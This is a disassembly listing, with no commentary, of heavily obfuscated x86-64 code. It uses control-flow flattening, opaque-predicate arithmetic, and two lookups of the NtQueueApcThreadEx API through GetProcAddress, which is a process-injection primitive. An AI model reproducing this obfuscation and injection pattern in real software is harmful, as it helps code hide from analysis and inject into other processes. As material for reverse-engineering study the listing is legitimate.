cmp ecx, 0x3353a37d
je 0x14013c582
cmp ecx, 0x337502d3
jne 0x1401306d0
mov rcx, qword [rsp + 0x30]
lea rdx, str.NtQueueApcThreadEx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edx, dword [0x14024b6e8]
mov eax, dword [0x14024b6e4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
xor edx, 0xb06fb579
and edx, ecx
or ecx, 0x4f904a86
mov ebp, ecx
not ebp
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0xe16245a2
and ebp, 0x100db059
or ebp, edi
or ecx, ebx
and ebx, 0xe16245a2
and edx, 0x1e9dba5d
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
mov edx, ecx
not edx
and edx, 0xf2076fa8
and ecx, 0xdf89057
or ecx, edx
mov edx, ecx
xor edx, 0xbd97252e
xor ecx, 0x4268dad1
mov ebx, ecx
and ebx, 0x2354893d
mov ebp, edx
and ebp, 0xdcab76c2
or ebp, ebx
mov ebx, ebp
not ebx
and ebx, 0xdcab76c3
and ebp, 0x2354893c
or ebp, ebx
and edx, 0x3c9a6143
mov ebx, ecx
and ebx, 0xc3659ebc
or ebx, edx
xor ebx, 0x3c9a6142
and ecx, 1
or ecx, ebx
mov ebx, ecx
not ebx
mov edx, ebp
not edx
mov edi, edx
and edi, 0x3ded0271
and ebp, 0xc212fd8e
or ebp, edi
or edx, ecx
and ecx, 0x3ded0271
and ebx, 0xc212fd8e
or ebx, ecx
xor ebx, ebp
not edx
or edx, ebx
mov ecx, edx
xor ecx, 0x216be200
and ecx, edx
not edx
and edx, 0x216be200
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
mov edx, ecx
not edx
and edx, 0xde941dff
and ecx, 0x216be200
or ecx, edx
setne r8b
sete r9b
cmp eax, 0xa
setl dl
cmp eax, 9
setg al
mov ecx, eax
xor cl, r9b
mov ebx, ecx
xor bl, al
and bl, cl
or dl, r8b
xor dl, 1
or al, r9b
xor al, 1
mov ecx, edx
and cl, al
xor al, dl
or al, cl
mov ecx, ebx
xor cl, 1
and cl, al
xor al, 1
mov edx, ebx
xor dl, al
and dl, bl
and al, bl
or al, cl
mov ecx, edx
xor cl, al
test cl, 1
mov ecx, 0x15bf8656
mov ebp, 0x152bebe1
cmovne ecx, ebp
test al, al
mov eax, ecx
cmovne eax, ebp
jmp 0x14013b564
cmp ecx, 0x9072b124
je 0x14013c70c
cmp ecx, 0x91e523ab
jne 0x1401306d0
mov ecx, dword [0x14024b6e8]
mov esi, dword [0x14024b6e4]
lea ebp, [rcx - 1]
imul ebp, ecx
mov edx, ebp
not edx
and ebp, 0x44e4a8d0
and edx, 0xbb1b572f
or edx, ebp
mov ecx, edx
xor ecx, 0x44e4a8d0
xor edx, 0xbb1b572e
mov ebp, ecx
and ebp, 0xfffffffe
and edx, 0xfffffffe
and ecx, 1
or ecx, edx
mov edx, ebp
and edx, ecx
xor ecx, ebp
or ecx, edx
mov ebp, ecx
not ebp
mov edx, ebp
and edx, ecx
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0x4e483bc1
and ebp, 0xb1b7c43e
or ebp, edi
or ecx, ebx
and ebx, 0x4e483bc1
and edx, 0xb1b7c43e
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
sete r8b
setne r9b
cmp esi, 9
setg al
cmp esi, 0xa
setl r10b
mov edx, r9d
or dl, r10b
xor dl, 1
mov ebx, eax
or bl, r8b
xor bl, 1
mov ecx, edx
and cl, bl
xor bl, dl
or bl, cl
and r9b, r10b
or r10b, r8b
and al, r8b
or al, r9b
xor al, 1
mov ecx, r10d
xor cl, al
or al, r10b
xor al, 1
or al, cl
mov ecx, eax
xor cl, bl
xor bl, 1
or bl, al
xor cl, 1
mov eax, ecx
xor al, bl
test cl, 1
mov ecx, 0x48e01230
mov edx, 0x8bef6d1e
cmovne ecx, edx
test bl, 1
mov ebp, 0x48e01230
cmovne ecx, ebp
jmp 0x14013d55c
cmp ecx, 0xd1a77df0
je 0x14013c808
cmp ecx, 0xd2bd46c9
jne 0x1401306d0
mov ecx, 0xfdea4024
cmp ecx, 0x1ddfec4
jle 0x140130c20
jmp 0x1401306dc
cmp ecx, 0xb21b30c4
je 0x14013c924
cmp ecx, 0xb2cb9f09
jne 0x1401306d0
mov edx, dword [0x14024b6e8]
mov eax, dword [0x14024b6e4]
lea ecx, [rdx - 1]
imul ecx, edx
mov ebp, ecx
not ebp
mov edx, ebp
and edx, ecx
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0x640e022b
and ebp, 0x9bf1fdd4
or ebp, edi
or ecx, ebx
and ebx, 0x640e022b
and edx, 0x9bf1fdd4
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
mov edx, ecx
xor edx, 1
and edx, ecx
mov ebp, ecx
not ebp
and ebp, 0xc203a0ae
and ecx, 0x3dfc5f51
or ecx, ebp
xor ecx, 0x3dfc5f50
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
mov edx, ecx
not edx
and edx, 0xb2d0e769
and ecx, 0x4d2f1896
or ecx, edx
mov edx, ecx
xor edx, 0x82f1802
xor ecx, 0x20c0c141
and ecx, 0x65c0c1d5
and edx, 0x9a3f3e2a
or edx, ecx
xor edx, 0x65c0c1d5
sete r8b
setne r10b
cmp eax, 0xa
setl r9b
cmp eax, 9
setg al
mov ebx, r10d
xor bl, r8b
and bl, r10b
mov ecx, ebx
xor cl, 1
or cl, bl
xor cl, 1
mov edx, ebx
and dl, cl
xor cl, bl
or cl, dl
and r10b, r9b
and r9b, cl
not cl
and cl, al
or cl, r9b
mov edx, eax
xor dl, r8b
and dl, al
and al, r8b
or al, r10b
mov ebx, edx
xor bl, 1
xor dl, al
xor al, 1
or al, bl
xor al, 1
or al, dl
mov edx, ecx
xor dl, 1
mov r8d, ecx
and r8b, dl
mov ebx, r8d
xor bl, 1
xor r8b, cl
or bl, dl
xor bl, 1
or bl, r8b
xor bl, al
mov ecx, edx
and cl, al
xor dl, al
or dl, cl
mov eax, ebx
xor al, dl
not al
test al, 1
mov eax, 0x991f7edf
mov ecx, 0x3f2cca13
cmovne eax, ecx
test dl, 1
mov ecx, 0x991f7edf
cmovne ecx, eax
jmp 0x14013d206
cmp ecx, 0xfa623d92
je 0x14013c93a
cmp ecx, 0xfb17008c
jne 0x1401306d0
mov ecx, dword [0x14024b6e8]
lea eax, [rcx - 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0x6256b7c6
mov ebp, eax
and ebp, 0x9da94838
or ebp, edx
xor ebp, 0x9da94838
mov edx, eax
and edx, 1
or edx, ebp
and ecx, 0x107f222b
and eax, 0xef80ddd4
or eax, ecx
mov ecx, eax
xor ecx, 0x21800540
mov ebx, edx
not ebx
mov ebp, ebx
and ebp, 0xde53fabf
and edx, 0x21ac0540
or edx, ebp
xor eax, 0x1053222b
and eax, 0xde53fabf
and ecx, 0x21ac0540
or ecx, eax
xor ecx, edx
not ecx
or ecx, ebx
cmp ecx, 0xffffffff
sete r8b
cmp dword [0x14024b6e4], 0xa
setl cl
xor r8b, cl
mov edx, r8d
xor dl, 1
xor cl, dl
not cl
and cl, dl
mov ebx, ecx
xor bl, 1
and cl, bl
mov eax, r8d
and al, dl
xor cl, 1
mov r9d, ecx
xor r9b, bl
or cl, bl
xor cl, 1
or cl, r9b
mov r9d, eax
and r9b, r8b
xor al, r8b
or al, r9b
xor al, cl
mov ecx, ebx
and cl, dl
xor bl, dl
or bl, cl
mov edx, ebx
xor dl, al
test bl, 1
mov ecx, 0xf712b86c
mov ebp, 0xb9404d0d
cmovne ecx, ebp
test al, 1
cmove ecx, ebp
test dl, 1
mov eax, 0xf712b86c
jmp 0x14013dd20
cmp ecx, 0xc0173d5
je 0x14013ca4a
cmp ecx, 0xd1f22c0
jne 0x1401306d0
mov edx, dword [0x14024b6e8]
mov eax, dword [0x14024b6e4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
xor edx, 0x197215ae
and edx, ecx
or ecx, 0xe68dea51
mov ebp, ecx
not ebp
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0xbf2cc06f
and ebp, 0x521580
or ebp, edi
or ecx, ebx
and ebx, 0xbf2cc06f
and edx, 0x40d33f90
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
mov edx, ecx
not edx
and edx, 0xc6624819
and ecx, 0x399db7e6
or ecx, edx
mov edx, ecx
xor edx, 0x20efa248
xor ecx, 0x9f005517
mov ebp, edx
and ebp, 0xfffffffe
and ecx, 0xbf8f7757
and edx, 0x407088a8
or edx, ecx
xor edx, 0x407088a9
mov ecx, ebp
and ecx, edx
xor edx, ebp
or edx, ecx
mov ecx, edx
xor ecx, 0x55ad47a6
and ecx, edx
not edx
and edx, 0x55ad47a6
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
mov edx, ecx
not edx
and edx, 0x5e9c22f9
and ecx, 0xa163dd06
or ecx, edx
mov edx, ecx
xor edx, 0x748c0820
xor ecx, 0xb31655f
mov ebp, ecx
and ebp, 0x8072f295
and edx, 0x7f8d0d6a
or edx, ebp
xor edx, 0x8072f295
xor ecx, edx
test ecx, edx
setne r8b
sete cl
cmp eax, 9
setg bl
cmp eax, 0xa
setl al
mov edx, ecx
xor dl, al
and cl, dl
and dl, al
mov eax, ecx
and al, dl
xor dl, cl
or dl, al
mov eax, ebx
xor al, r8b
or bl, r8b
xor bl, 1
or bl, al
xor al, 1
mov ecx, eax
xor cl, bl
or al, bl
xor al, 1
or al, cl
mov ecx, eax
not cl
mov ebx, edx
xor bl, 1
and cl, bl
or bl, al
and al, dl
or al, cl
mov ecx, ebx
xor cl, al
test al, 1
mov eax, 0xda2372c1
mov ebp, 0xf01909ad
cmovne eax, ebp
test bl, 1
mov edx, 0xda2372c1
cmovne eax, edx
test cl, 1
jmp 0x14013bb88
cmp ecx, 0x63532db2
je 0x14013cb38
cmp ecx, 0x6427934f
jne 0x1401306d0
mov eax, dword [0x14024b6e8]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
and eax, 0x4f9d35f1
and ecx, 0xb062ca0e
or ecx, eax
mov edx, ecx
xor edx, 0xb062ca0e
mov eax, ecx
xor eax, 0x3903591
xor ecx, 0xb062ca0f
and ecx, edx
and eax, 0x2390fd95
and edx, 0xdc6f026a
or edx, eax
mov ebp, edx
xor ebp, 0x8c4e0268
mov eax, ecx
not eax
xor edx, 0x2390fd94
mov ebx, eax
and ebx, 0x52a16913
and ecx, 0xad5e96ec
or ecx, ebx
or eax, edx
and edx, 0x52a16913
and ebp, 0xad5e96ec
or ebp, edx
xor ebp, ecx
not eax
or eax, ebp
mov ecx, eax
not ecx
mov edx, eax
xor edx, 0x35035fe5
and edx, eax
or eax, 0xcafca01a
mov ebp, edx
not ebp
mov ebx, eax
and ebx, 0xa8c1f4c0
and ecx, 0x15020b25
or ecx, ebx
or eax, ebp
and ebp, 0xa8c1f4c0
and edx, 0x573e0b3f
or edx, ebp
xor edx, ecx
not eax
or eax, edx
mov ecx, eax
not ecx
and ecx, 0xcafca01a
and eax, 0x35035fe5
or eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0x1ee8b452
and eax, 0xe1174bad
or eax, edx
xor eax, 0xe1174bad
or eax, ecx
cmp eax, 0xffffffff
sete r8b
setne al
cmp dword [0x14024b6e4], 9
setg dl
mov ecx, edx
and cl, al
xor al, dl
or al, cl
mov r9d, eax
xor r9b, 1
mov ecx, edx
xor cl, r8b
not cl
and cl, r8b
or dl, r8b
mov ebx, edx
xor bl, cl
xor cl, 1
xor bl, 1
or cl, dl
xor cl, 1
or cl, bl
mov edx, ecx
xor dl, 1
and al, r9b
and dl, cl
mov ebx, eax
and bl, r9b
xor al, r9b
or al, bl
mov ebx, edx
and bl, cl
xor dl, cl
or dl, bl
xor dl, al
mov eax, r9d
xor al, cl
or cl, r9b
xor cl, 1
or cl, al
mov eax, ecx
xor al, dl
test cl, 1
mov ecx, 0x2715ee5b
mov ebp, 0x2d07abca
cmovne ecx, ebp
test dl, 1
mov r14d, 0x2d07abca
cmove ecx, ebp
test al, 1
mov eax, 0x2715ee5b
jmp 0x14013dd20
cmp ecx, 0x2d07abca
je 0x14013cb4e
cmp ecx, 0x2d1ea4c5
jne 0x1401306d0
mov eax, dword [0x14024b6e8]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
xor eax, 0x73176ae8
and eax, ecx
not ecx
and ecx, 0x73176ae8
mov edx, ecx
and edx, eax
xor eax, ecx
or eax, edx
mov ecx, eax
not ecx
and ecx, 0x8ce89517
and eax, 0x73176ae8
or eax, ecx
mov edx, eax
not edx
mov ecx, edx
and ecx, 0x9df311ab
and eax, 0x620cee54
or eax, ecx
mov ebp, eax
xor ebp, 0xc2301a8
or ebp, 0xb1d89043
mov ebx, ebp
not ebx
or edx, 0x4e276fbc
mov ecx, edx
not ecx
and ebp, 0xaba60dd2
and ebx, 0x4401622c
or ebx, ebp
and edx, 0xaba60dd2
and ecx, 0x10589001
or ecx, edx
xor ecx, ebx
mov edx, ecx
not edx
and edx, 0xb1d89042
and ecx, 0x4e276fbd
or ecx, edx
mov edx, eax
and edx, 1
xor eax, 0x620cee55
or eax, edx
mov edx, eax
not edx
and edx, 0x240cf45f
and eax, 0xdbf30ba0
or eax, edx
xor eax, 0xdbf30ba0
mov edx, ecx
and edx, eax
xor eax, ecx
or eax, edx
mov ebp, eax
not ebp
or eax, 0x9c0a2bac
mov edx, eax
not edx
or ebp, 0x63f5d453
mov ecx, ebp
not ecx
and eax, 0xf0e756cb
and edx, 0x3108010
or edx, eax
and ebp, 0xf0e756cb
and ecx, 0xc082924
or ecx, ebp
xor ecx, edx
mov eax, ecx
not eax
and eax, 0x9c0a2bac
and ecx, 0x63f5d453
or ecx, eax
sete al
setne cl
cmp dword [0x14024b6e4], 0xa
setl dl
xor cl, dl
mov ebx, ecx
xor bl, 1
or al, dl
xor al, 1
or al, bl
mov edx, eax
and dl, cl
xor al, cl
or dl, al
mov ecx, edx
xor cl, al
test dl, dl
mov edx, 0x5eb70265
mov ebp, 0x63532db2
cmovne edx, ebp
test al, al
cmove edx, ebp
test cl, 1
mov eax, 0x5eb70265
jmp 0x14013e564
cmp ecx, 0x4f34ddc0
je 0x14013cb64
cmp ecx, 0x502d1e82
jne 0x1401306d0
mov ecx, dword [0x14024b6e8]
mov eax, dword [0x14024b6e4]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
mov ebp, edx
xor ebp, 0xfffffffe
and ebp, ecx
and edx, 0xfffffffe
and ecx, 1
or ecx, edx
mov edx, ebp
not edx
mov ebx, ecx
not ebx
mov edi, edx
and edi, 0x86139aa0
and ebp, 0x79ec655f
or ebp, edi
or edx, ebx
and ebx, 0x86139aa0
and ecx, 0x79ec655f
or ecx, ebx
xor ecx, ebp
not edx
or edx, ecx
cmp edx, 0xffffffff
setne r8b
sete r10b
cmp eax, 9
setg cl
cmp eax, 0xa
setl r9b
mov edx, r10d
xor dl, r8b
and dl, r10b
mov ebx, edx
xor bl, 1
mov eax, ebx
or al, dl
xor dl, al
xor dl, 1
or al, bl
xor al, 1
or al, dl
xor al, 1
mov edx, eax
or dl, r9b
xor dl, 1
xor al, r9b
not al
and al, r9b
mov ebx, edx
and bl, al
xor al, dl
or al, bl
xor r10b, cl
and r10b, cl
xor cl, r8b
mov edx, r10d
and dl, cl
xor cl, r10b
or cl, dl
mov edx, ecx
xor dl, 1
mov ebx, eax
xor bl, 1
and dl, bl
and al, cl
or al, dl
mov edx, ebx
and dl, cl
xor bl, cl
or bl, dl
mov ecx, ebx
xor cl, al
test cl, 1
mov edx, 0xaf0a3f6a
mov ecx, 0xa9a117e1
cmovne edx, ecx
test bl, 1
mov ecx, 0xaf0a3f6a
jmp 0x14013d559
cmp ecx, 0x8aea1de3
je 0x14013cb7a
cmp ecx, 0x8aedf6a3
jne 0x1401306d0
mov ecx, 0xb9376fd5
cmp ecx, 0x1ddfec4
jle 0x140130c20
jmp 0x1401306dc
cmp ecx, 0xcd173f72
je 0x14013ccc7
cmp ecx, 0xcd271efa
jne 0x1401306d0
mov eax, dword [0x14024b6e8]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
mov edx, ecx
xor edx, 0xfffffffe
and edx, ecx
not ecx
mov ebp, ecx
and ebp, 0xb7794fd4
and eax, 0x4886b02a
or eax, ebp
xor eax, 0x4886b02a
mov ebp, eax
and ebp, edx
xor edx, eax
or edx, ebp
not edx
mov eax, edx
and eax, ecx
xor edx, ecx
or edx, eax
cmp edx, 0xffffffff
sete al
cmp dword [0x14024b6e4], 9
setg dl
xor al, dl
xor dl, al
and dl, al
mov ecx, eax
xor cl, dl
xor dl, 1
or dl, al
mov eax, ecx
xor al, dl
xor al, 1
test cl, cl
mov ecx, 0x990db749
mov ebp, 0xc53622c7
cmovne ecx, ebp
test dl, dl
cmovne ecx, ebp
test al, al
mov eax, 0x990db749
jmp 0x14013dd20
cmp ecx, 0xac84b784
je 0x14013ccdd
cmp ecx, 0xad358129
jne 0x1401306d0
mov ecx, dword [0x14024b6e8]
mov eax, dword [0x14024b6e4]
lea edx, [rcx - 1]
imul edx, ecx
mov ebp, edx
not ebp
mov ebx, ebp
and ebx, 0x6c98977e
mov ecx, edx
and ecx, 0x93676881
or ecx, ebx
mov ebx, ecx
not ebx
and ebx, 0x93676880
and ecx, 0x6c98977f
or ecx, ebx
mov ebx, ecx
not ebx
and ebp, 0x908c2ae0
and edx, 0x6f73d51f
or edx, ebp
mov ebp, edx
xor ebp, 0x2c70810f
xor edx, 0x908c2ae0
mov edi, ecx
and edi, 0x43835eb0
and ebx, 0xbc7ca14f
or ebx, edi
or ecx, edx
and edx, 0x43835eb0
and ebp, 0xbc7ca14f
or ebp, edx
xor ebp, ebx
not ecx
or ecx, ebp
cmp ecx, 0xffffffff
sete r8b
setne bl
cmp eax, 9
setg r9b
cmp eax, 0xa
setl al
mov edx, eax
xor dl, bl
not dl
and dl, bl
mov ecx, eax
or cl, bl
xor cl, 1
mov r10d, edx
and r10b, cl
xor cl, dl
or cl, r10b
and bl, al
and r9b, r8b
or r9b, bl
mov edx, eax
and dl, r8b
xor al, r8b
or al, dl
xor al, 1
mov edx, r9d
and dl, al
xor al, r9b
or al, dl
mov edx, ecx
xor dl, 1
mov r8d, eax
mov ebx, edx
xor dl, al
xor al, 1
and r8b, cl
and bl, al
or bl, r8b
or al, cl
xor al, 1
or al, dl
mov ecx, eax
xor cl, bl
test cl, 1
mov edx, 0xc0173d5
mov ecx, 0x21ed2ad
cmovne edx, ecx
test al, 1
mov ecx, 0xc0173d5
cmovne ecx, edx
jmp 0x14013d3d1
cmp ecx, 0xf01909ad
je 0x14013ccf3
cmp ecx, 0xf0e6e0e9
jne 0x1401306d0
mov ecx, 0xcf839b78
cmp ecx, 0x1ddfec4
jle 0x140130c20
jmp 0x1401306dc
cmp ecx, 0x1a0bea86
je 0x14013cd09
cmp ecx, 0x1ccecd8e
jne 0x1401306d0
mov eax, dword [0x14024b6e8]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
mov ebp, eax
and ebp, 0xfffffffe
mov ecx, edx
xor ecx, 0xfffffffe
and ecx, edx
mov ebx, ebp
and ebx, ecx
xor ecx, ebp
or ecx, ebx
mov ebp, ecx
not ebp
and ebp, 0x74d7609
and ecx, 0xf8b289f6
or ecx, ebp
mov ebp, ecx
xor ebp, 0x80308060
xor ecx, 0x74d7609
mov ebx, ecx
and ebx, 0x7a8a5f9f
and ebp, 0x8575a060
or ebp, ebx
or ecx, edx
and edx, 0x7a8a5f9f
and eax, 0x8575a060
or eax, edx
xor eax, ebp
not ecx
or ecx, eax
cmp ecx, 0xffffffff
setne al
cmp dword [0x14024b6e4], 9
setg cl
mov edx, ecx
and dl, al
xor cl, al
or dl, cl
xor cl, 1
mov eax, ecx
xor al, dl
and cl, dl
or cl, al
mov edx, ecx
xor dl, al
test cl, cl
mov ecx, 0xa72e6480
mov ebp, 0xeea06576
cmovne ecx, ebp
test al, al
cmove ecx, ebp
test dl, dl
mov eax, 0xa72e6480
jmp 0x14013dd20
cmp ecx, 0x762da740
je 0x14013cdf1
cmp ecx, 0x79d38934
jne 0x1401306d0
mov eax, dword [0x14024b6e8]
lea ebx, [rax - 1]
imul ebx, eax
mov eax, ebx
not eax
mov ecx, ebx
or ecx, 1
mov edx, ecx
not edx
mov ebp, ebx
or ebp, 0xebdff3a
and ecx, 0xebdff3a
and edx, 0xf14200c4
or edx, ecx
and ebp, 0xebdff3b
xor ebp, edx
mov ecx, ebp
not ecx
mov edx, ecx
and edx, 0x66473f37
and ebp, 0x99b8c0c8
or ebp, edx
and ebx, 0x66473f37
and eax, 0x99b8c0c8
or eax, ebx
xor eax, ebp
not eax
or eax, ecx
cmp eax, 0xffffffff
setne al
cmp dword [0x14024b6e4], 9
setg cl
mov ebx, ecx
xor bl, al
and cl, al
or cl, bl
mov eax, ecx
not al
mov edx, ebx
xor dl, 1
and bl, cl
or cl, dl
and dl, al
or dl, bl
mov eax, ecx
xor al, dl
test dl, dl
mov edx, 0x8d0bbdc7
mov ebp, 0x859b601b
cmovne edx, ebp
test cl, cl
mov ecx, 0x8d0bbdc7
cmovne edx, ecx
test al, al
cmove edx, ebp
jmp 0x14013e567
cmp ecx, 0x403a09e2
je 0x14013cf4f
cmp ecx, 0x40fe9dd4
jne 0x1401306d0
mov ecx, dword [0x14024b6e8]
mov eax, dword [0x14024b6e4]
lea edx, [rcx - 1]
imul edx, ecx
mov ebp, edx
not ebp
mov ecx, ebp
and ecx, 0xfffffffe
and edx, 0xfffffffe
and ebp, 1
or ebp, edx
mov edx, ecx
and edx, ebp
xor ebp, ecx
or ebp, edx
mov edx, ebp
mov ecx, ebp
xor ecx, 0x7230f6c7
and ecx, ebp
not ebp
and ebp, 0x20101441
and edx, 0x5220e286
or edx, ebp
xor edx, 0x5220e286
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
mov edx, ecx
not edx
and edx, 0x3a66be02
and ecx, 0xc59941fd
or ecx, edx
mov edx, ecx
xor edx, 0x120a718
xor ecx, 0x40160040
and edx, 0x960ef9d
and ecx, 0xf69f1062
or ecx, edx
xor ecx, 0xf69f1062
sete r8b
setne r9b
cmp eax, 9
setg bl
cmp eax, 0xa
setl r11b
mov eax, r9d
mov r10d, r8d
and r10b, bl
mov ecx, r11d
and cl, r9b
or bl, r9b
or r9b, r11b
xor r9b, 1
xor al, r11b
not al
and al, r11b
mov edx, r9d
and dl, al
xor al, r9b
or al, dl
or cl, r10b
xor r11b, r8b
xor bl, 1
or bl, r11b
mov edx, ebx
xor dl, cl
xor cl, 1
xor dl, 1
or cl, bl
xor cl, 1
or cl, dl
mov edx, ecx
xor dl, 1
and cl, dl
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
xor cl, 1
mov edx, eax
xor dl, 1
xor al, cl
mov ebx, edx
and bl, cl
xor dl, cl
or dl, bl
mov ecx, eax
xor cl, dl
not cl
test cl, 1
mov ebp, 0xfb6fde0d
mov ecx, 0x284f3c60
cmovne ebp, ecx
test dl, 1
mov ecx, 0xfb6fde0d
cmovne ecx, ebp
jmp 0x14013bfda
cmp ecx, 0x9aa41523
je 0x14013cf65
cmp ecx, 0x9ad8bf75
jne 0x1401306d0
mov rcx, qword [rsp + 0x30]
lea rdx, str.NtQueueApcThreadEx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, 0x37715746
cmp ecx, 0x1ddfec4
jle 0x140130c20
jmp 0x1401306dc
cmp ecx, 0xdaa5606f
je 0x14013d0e1
cmp ecx, 0xdb797e7b
jne 0x1401306d0
mov ecx, 0xd5c162ac
cmp ecx, 0x1ddfec4
jle 0x140130c20
jmp 0x1401306dc
cmp ecx, 0xb716932e
je 0x14013d21d
cmp ecx, 0xb9376fd5
jne 0x1401306d0
mov eax, dword [0x14024b6e8]
mov edx, dword [0x14024b6e4]
lea ebp, [rax - 1]
imul ebp, eax
mov eax, ebp
not eax
mov ebx, eax
and ebx, 0x15fe5457
mov ecx, ebp
xor ecx, 0x15fe5457
and ecx, ebp
mov edi, ebx
and edi, ecx
xor ecx, ebx
or ecx, edi
mov ebx, ecx
not ebx
and ebx, 0xea01aba9
and ecx, 0x15fe5456
or ecx, ebx
mov ebx, ecx
not ebx
mov edi, ebx
and edi, 0xdf420c4f
and ecx, 0x20bdf3b0
or ecx, edi
and ebp, 0xdf420c4f
and eax, 0x20bdf3b0
or eax, ebp
xor eax, ecx
xor ebx, eax
test ebx, eax
sete r8b
setne al
cmp edx, 0xa
setl r10b
cmp edx, 9
setg r9b
mov edx, r9d
xor dl, r10b
and dl, r9b
mov ecx, eax
xor cl, r8b
and cl, al
mov eax, edx
xor al, 1
or al, dl
xor al, 1
mov ebx, edx
and bl, al
xor al, dl
or al, bl
mov edx, ecx
xor dl, 1
or cl, dl
mov ebx, edx
xor bl, cl
or cl, dl
xor cl, 1
or cl, bl
mov edx, eax
xor dl, 1
mov ebx, ecx
xor bl, 1
and bl, cl
mov r11d, ebx
and r11b, cl
xor bl, cl
or bl, r11b
and dl, bl
xor bl, 1
and bl, al
or bl, dl
mov eax, r9d
xor al, r8b
and al, r9b
xor r10b, r8b
xor al, 1
xor r10b, 1
mov ecx, eax
xor cl, r10b
or r10b, al
xor r10b, 1
or r10b, cl
xor r10b, bl
and bl, r10b
mov eax, r10d
xor al, bl
test r10b, 1
mov ecx, 0xb5fa8fe8
mov edx, 0x8aedf6a3
cmovne ecx, edx
test bl, 1
cmove ecx, edx
test al, 1
mov eax, 0xb5fa8fe8
jmp 0x14013dd20
cmp ecx, 0xfede7486
je 0x14013d233
cmp ecx, 0xfeea22ce
jne 0x1401306d0
mov ecx, dword [0x14024b6e8]
mov eax, dword [0x14024b6e4]
lea edx, [rcx - 1]
imul edx, ecx
mov esi, edx
mov ebp, edx
xor ebp, 0xa9a3b9d7
and ebp, edx
not edx
mov ebx, edx
and ebx, 0x1830141
and esi, 0xa820b896
or esi, ebx
mov ebx, esi
xor ebx, 0x88001016
xor esi, 0x57df4769
mov edi, ebp
not edi
mov ecx, esi
and ecx, 0x75f1aac0
and ebx, 0x88021117
or ebx, ecx
or esi, edi
and edi, 0x75f1aac0
and ebp, 0x8a0e553f
or ebp, edi
xor ebp, ebx
not esi
or esi, ebp
mov ebp, esi
not ebp
and ebp, 0x589aad94
and esi, 0xa765526b
or esi, ebp
mov ecx, esi
xor ecx, 0x44243bc
xor esi, 0xa1080002
and esi, 0xab8ca803
and ecx, 0x547357fc
or ecx, esi
xor ecx, 0x547357fc
mov ebp, ecx
and ebp, edx
xor ecx, edx
or ecx, ebp
cmp ecx, 0xffffffff
sete cl
setne dl
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
and cl, bl
xor bl, dl
and dl, al
or cl, dl
xor al, cl
and al, cl
mov ecx, ebx
not cl
mov edx, eax
xor dl, 1
and cl, dl
or dl, bl
and bl, al
or bl, cl
mov eax, edx
xor al, bl
test bl, bl
mov ecx, 0xfb608f7e
mov ebp, 0xe57d8eea
cmovne ecx, ebp
test dl, dl
mov edx, 0xfb608f7e
jmp 0x14013a89c
cmp ecx, 0x4fe64ea
je 0x14013d249
cmp ecx, 0x6753b50
jne 0x1401306d0
mov ecx, 0x203155da
cmp ecx, 0x1ddfec4
jle 0x140130c20
jmp 0x1401306dc
cmp ecx, 0x5fb293a8
je 0x14013d3d9
cmp ecx, 0x60ed1763
jne 0x1401306d0
mov edx, dword [0x14024b6e8]
mov eax, dword [0x14024b6e4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0xfffffffe
mov ebx, ecx
and ebx, 1
or ebx, ebp
and edx, 0x4e049d49
and ecx, 0xb1fb62b6
or ecx, edx
mov edx, ecx
xor edx, 0x10c20284
mov ebp, ebx
not ebp
mov edi, ebp
and edi, 0xaf3df57b
and ebx, 0x50c20a84
or ebx, edi
xor ecx, 0xe049549
and ecx, 0xaf3df57b
and edx, 0x50c20a84
or edx, ecx
xor edx, ebx
xor ebp, edx
test ebp, edx
setne dl
sete cl
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
and al, cl
and dl, bl
or dl, al
mov eax, ebx
and al, cl
xor bl, cl
or bl, al
xor bl, 1
mov eax, edx
and al, bl
xor bl, dl
or bl, al
mov ecx, ebx
xor cl, dl
xor dl, 1
or dl, bl
mov eax, ecx
xor al, dl
test cl, 1
mov ecx, 0x30151092
mov ebp, 0x51bcb6d9
cmovne ecx, ebp
test dl, 1
cmovne ecx, ebp
not al
test al, 1
mov eax, 0x30151092
jmp 0x14013dd20
cmp ecx, 0x29d9b822
je 0x14013d572
cmp ecx, 0x2aa81b9c
jne 0x1401306d0
mov ecx, 0x10bec9a6
cmp ecx, 0x1ddfec4
jle 0x140130c20
jmp 0x1401306dc
cmp ecx, 0x4cb8ca63
je 0x14013d682
cmp ecx, 0x4cbb6584
jne 0x1401306d0
mov ecx, 0x1ddfec5
cmp ecx, 0x1ddfec4
jle 0x140130c20
jmp 0x1401306dc
cmp ecx, 0x859b601b
je 0x14013d776
cmp ecx, 0x8640b11e
jne 0x1401306d0
mov ecx, dword [0x14024b6e8]
mov r8d, dword [0x14024b6e4]
lea ebp, [rcx - 1]
imul ebp, ecx
mov edi, ebp
not edi
mov ebx, edi
and ebx, 0x89f07d2c
mov ecx, ebp
and ecx, 0x760f82d2
or ecx, ebx
mov ebx, ecx
xor ebx, 0x360b8082
xor ecx, 0x89f07d2d
mov edx, ebp
xor edx, 0xfffffffe
and edx, ebp
mov esi, edx
